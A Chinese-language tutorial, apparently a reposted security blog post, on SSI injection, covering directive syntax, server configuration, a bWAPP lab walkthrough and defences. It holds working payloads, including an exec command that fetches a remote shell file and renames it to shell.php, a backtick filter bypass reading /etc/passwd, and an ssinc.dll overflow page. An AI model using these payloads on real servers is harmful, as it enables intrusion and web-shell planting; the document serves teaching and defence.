SSI注入漏洞總結
from:https://www.mi1k7ea.com/2019/09/28/SSI%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
現在大多數Web服務已經很少用到SSI了,但是偶爾還是能碰碰運氣的。
0x01 基本概念
何為SSI
SSI全稱是Server Side Includes,即服務器端包含,是一種基於服務器端的網頁制作技術。
SSI是嵌入HTML頁面中的指令,在頁面被提供時由服務器進行運算,以對現有HTML頁面增加動態生成的內容,而無須通過CGI程序提供其整個頁面,或者使用其他動態技術。
基本原理就是:SSI在HTML文件中,可以通過注釋行調用命令或指針,即允許通過在HTML頁面注入腳本或遠程執行任意代碼。
SHTML文件
SHTML即Server-Parsed HTML。
shtml文件(還有stm、shtm文件)就是應用了SSI技術的html文件,所以在.shtml頁面返回到客戶端前,頁面中的SSI指令將被服務器解析。可以使用SSI指令將其它文件、圖片包含在頁面中,也可以將其它的CGI程序包含在頁面中,如.aspx文件。在給客戶端返回的頁面中不會包含SSI指令。如果SSI指令不能被解析,則瀏覽器會將其做為普通的HTML注釋處理。
Web服務啟動SSI
Nginx
在Nginx中,開啟SSI只需在配置文件中添加如下幾項:
1 |
ssi on; |
如:
1 |
server{ |
Apache
修改Apache配置文件httpd.conf:
1、確認加載include.so模塊,將注釋去掉:
1 |
LoadModule include_module libexec/apache2/mod_include.so |
2、AddType部分去掉這兩段注釋:
1 |
AddType text/html .shtml |
3、Directory目錄權限里面找到Options Indexes FollowSymLinks
,並增加Includes修改為Options Indexes FollowSymLinks Includes
;
4、重新啟動Apache;
IIS
不同版本的Windows下配置有所區別,具體的參考下資料就好:
win7下使用IIS服務器及自定義服務器端包含模塊(SSI)步驟
SSI基本語法
在SHTML文件中SSI標簽使用的幾種基本語法如下,必須注意的是其語法格式必須是以html的注釋符<!--
開頭、且后面緊接#符號和SSI命令,它們期間不能存在空格:
1、顯示服務器端環境變量<#echo>
本文檔名稱:<!--#echo var="DOCUMENT_NAME"-->
現在時間:<!--#echo var="DATE_LOCAL"-->
顯示IP地址:<!--#echo var="REMOTE_ADDR"-->
2、將文本內容直接插入到文檔中<#include>
1 |
<!--#include file="文件名稱"--> |
注:file包含文件可以在同一級目錄或其子目錄中,但不能在上一級目錄中,virtual包含文件可以是Web站點上的虛擬目錄的完整路徑。
3、顯示WEB文檔相關信息<#flastmod><#fsize>
(如文件制作日期/大小等)
文件最近更新日期:<! #flastmod file="文件名稱"–>
文件的長度:<!--#fsize file="文件名稱"-->
4、直接執行服務器上的各種程序<#exec>
(如CGI或其他可執行程序)
1 |
<!–#exec cmd="文件名稱"–> |
將某一外部程序的輸出插入到頁面中。可插入CGI程序或者是常規應用程序的輸入,這取決於使用的參數是cmd還是CGI。
5、設置SSI信息顯示格式<#config>
(如文件制作日期/大小顯示方式)
6、高級SSI可設置變量使用if條件語句
0x02 SSI注入漏洞
何為SSI注入
SSI注入全稱Server-Side Includes Injection,即服務端包含注入。在stm、shtm、shtml等Web頁面中,如果用戶可以從外部輸入SSI標簽,而輸入的內容會顯示到上述后綴的Web頁面時,就導致可以遠程在Web應用中注入腳本來執行代碼。
簡單點說就是攻擊者可以通過外部輸入SSI標簽到Web頁面(stm、shtm、shtml文件)來動態執行代碼。
SSI注入允許遠程在Web應用中注入腳本來執行代碼。簡單點說就是攻擊者可以通過外部輸入SSI語句到Web頁面來動態執行代碼。
前提條件
攻擊者要想進行SSI注入、在Web服務器上運行任意命令,需要滿足下列幾點前提條件才能成功:
- Web服務器支持並開啟了SSI;
- Web應用程序在返回HTML頁面時,嵌入了用戶輸入的內容;
- 外部輸入的參數值未進行有效的過濾;
漏洞場景
一般地,在stm、shtm、shtml等文件中,存在XSS的頁面,大概率是存在SSI注入漏洞的。也就是說,用戶輸入的內容會顯示在頁面中的場景。比如,一個存在反射型XSS漏洞的頁面,如果輸入的payload不是XSS代碼而是SSI的標簽,同時服務器又開啟了對SSI的支持的話就會存在SSI注入漏洞。
從定義中看出,頁面中有一小部分是動態輸出的時候使用SSI,比如:
- 文件相關的屬性字段
- 當前時間
- 訪客IP
- 調用CGI程序
SSI注入常用命令
這里可以參考OWASP的說明:https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
命令執行
Linux
列出目錄文件:
1 |
<!--#exec cmd="ls" --> |
訪問目錄:
1 |
<!--#exec cmd="cd /root/dir/"> |
執行腳本:
1 |
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --> |
Windows
列出目錄文件:
1 |
<!--#exec cmd="dir" --> |
訪問目錄:
1 |
<!--#exec cmd="cd C:\admin\dir"> |
訪問與設置服務器信息
更改錯誤消息輸出:
1 |
<!--#config errmsg="File not found, informs users and password"--> |
顯示當前文檔的文件名:
1 |
<!--#echo var="DOCUMENT_NAME" --> |
顯示虛擬路徑和文件名:
1 |
<!--#echo var="DOCUMENT_URI" --> |
使用“ config”命令和“ timefmt”參數,可以控制日期和時間輸出格式:
1 |
<!--#config timefmt="A %B %d %Y %r"--> |
使用“ fsize”命令,可以打印所選文件的大小:
1 |
<!--#fsize file="ssi.shtml" --> |
ssinc.dll緩沖區溢出漏洞
在IIS的4.0和5.0版本中,攻擊者可以通過動態鏈接庫(ssinc.dll)中的緩沖區溢出故障來獲取系統特權。ssinc.dll是用於解釋服務器端包含文件的程序。
通過創建包含以下SSI代碼的惡意頁面並強制Web應用加載該頁面( 路徑遍歷攻擊),可以執行以下攻擊:
ssi_over.shtml:
1 |
<!--#include file="UUUUUUUU...UU"--> |
注意,字符U的數量必須大於2049。
強制Web應用加載ssi_over.shtml頁面:
正常網站:www.vulnerablesite.org/index.asp?page=news.asp
惡意網站:www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
如果IIS返回空白頁,則表明發生了溢出。在這種情況下,攻擊者可能會操縱過程流並執行任意代碼。
Demo
下面直接看BWAPP的SSI注入漏洞環境。
Low級
頁面是個表單,可以輸入First name和Last name,然后提交來查詢你的IP地址:
隨便輸入些內容點擊Lookup,跳轉至新的頁面:
可看到該頁面是shtml頁面,並且用戶輸入的表單信息直接輸出在該頁面上。
當然,我們輸入XSS payload,就會彈框了,后台沒有進行任何過濾:
這就滿足前面所說的場景了,該頁面是SHTML文件,且存在反射型XSS,同時我們可以推測服務端是開啟SSI的(因為對IP地址進行了查詢操作並輸出在頁面上),那么該頁面時大概率存在SSI注入漏洞的。
下面來驗證一下,直接輸入執行系統命令的SSI標簽:
<!--#exec cmd="whoami"-->
據此,我們就可以知道,下面顯示lookup結果的IP地址的SSI標簽為<!--#echo var="REMOTE_ADDR"-->
。
Medium級
該級別下XSS不能通過引號來將字符串括起來再彈框輸出,因為后台程序在引號前添加了反斜杠進行了轉義:
但是輸入數字和用/括起來的字符串還是能正常輸出的:
即目前可知,后台程序對引號都進行了轉義的出來。
意料之中,Low級SSI注入的payload輸進去后沒執行成功:
一個個字符嘗試,從XSS能注入的話是發現尖括號<>
是沒有被過濾的;接着對着之前的payload逐個字符去掉,發現將雙引號去掉就能執行了:
<!--#exec cmd=whoami -->
雖然可以執行whoami命令,但是對於需要參數輸入的命令是沒辦法執行了的,因為沒有引號將整條命令括起來而中間存在空格,這樣后台是沒辦法識別出整條命令的。
那么嘗試將雙引號替換為單引號,同樣失效;這時可以想象平時進行命令注入利用的時候,我們可以利用哪些特殊字符,如換行符\n、反引號`、分號;、管道符|、與運算符&等等,逐一嘗試,最后發現反引號成功執行命令:
1 |
<!--#exec cmd=`cat /etc/passwd`--> |
High級
此級別下,后台程序對輸入的內容進行了HTML編碼后才輸出到頁面中,即完全防御住了XSS漏洞,同時也讓SSI注入無法成功進行:
最為重要的尖括號<>
都被HTML編碼了,那就不可能再插入標簽了,而SSI注入就是注入標簽,這下啥戲都沒有了。
這也從另一方面說明,成功防御XSS漏洞的HTML輸出編碼也能夠有效防御SSI注入漏洞。
源碼簡析
在ssii.php中,關鍵代碼如下,不同級別下xss()函數中調用的過濾函數是不一樣的:
1 |
include("security.php"); |
下面我們跟到functions_external.php,查看幾個防御函數是怎么寫的:
1 |
function no_check($data) |
no_check()函數無任何過濾,對應Low級;xss_check_4()函數調用addslashes()函數進行過濾,即對引號繼續轉義操作,對應Medium級;xss_check_3()函數調用防御XSS的終極Boss——htmlspecialchars()函數進行過濾,將尖括號等進行了轉義,對應High級。
0x03 檢測與防御
檢測方法
搜索是否存在.stm,.shtm和.shtml后綴的文件,若存在則進一步判斷Web服務是否支持並開啟了SSI,若開啟了則進一步分析上述后綴的文件中是否存在用戶輸入內容未經過有效過濾就反射輸出到頁面中,若有則存在SSI注入漏洞。
防御方法
-
若非必須,盡量關閉服務器的SSI功能;
-
對用戶的輸入進行嚴格的過濾,過濾相關SSI特殊字符(
<,>,#,-,",'
);
0x04 參考
Server-Side Includes (SSI) Injection_Injection)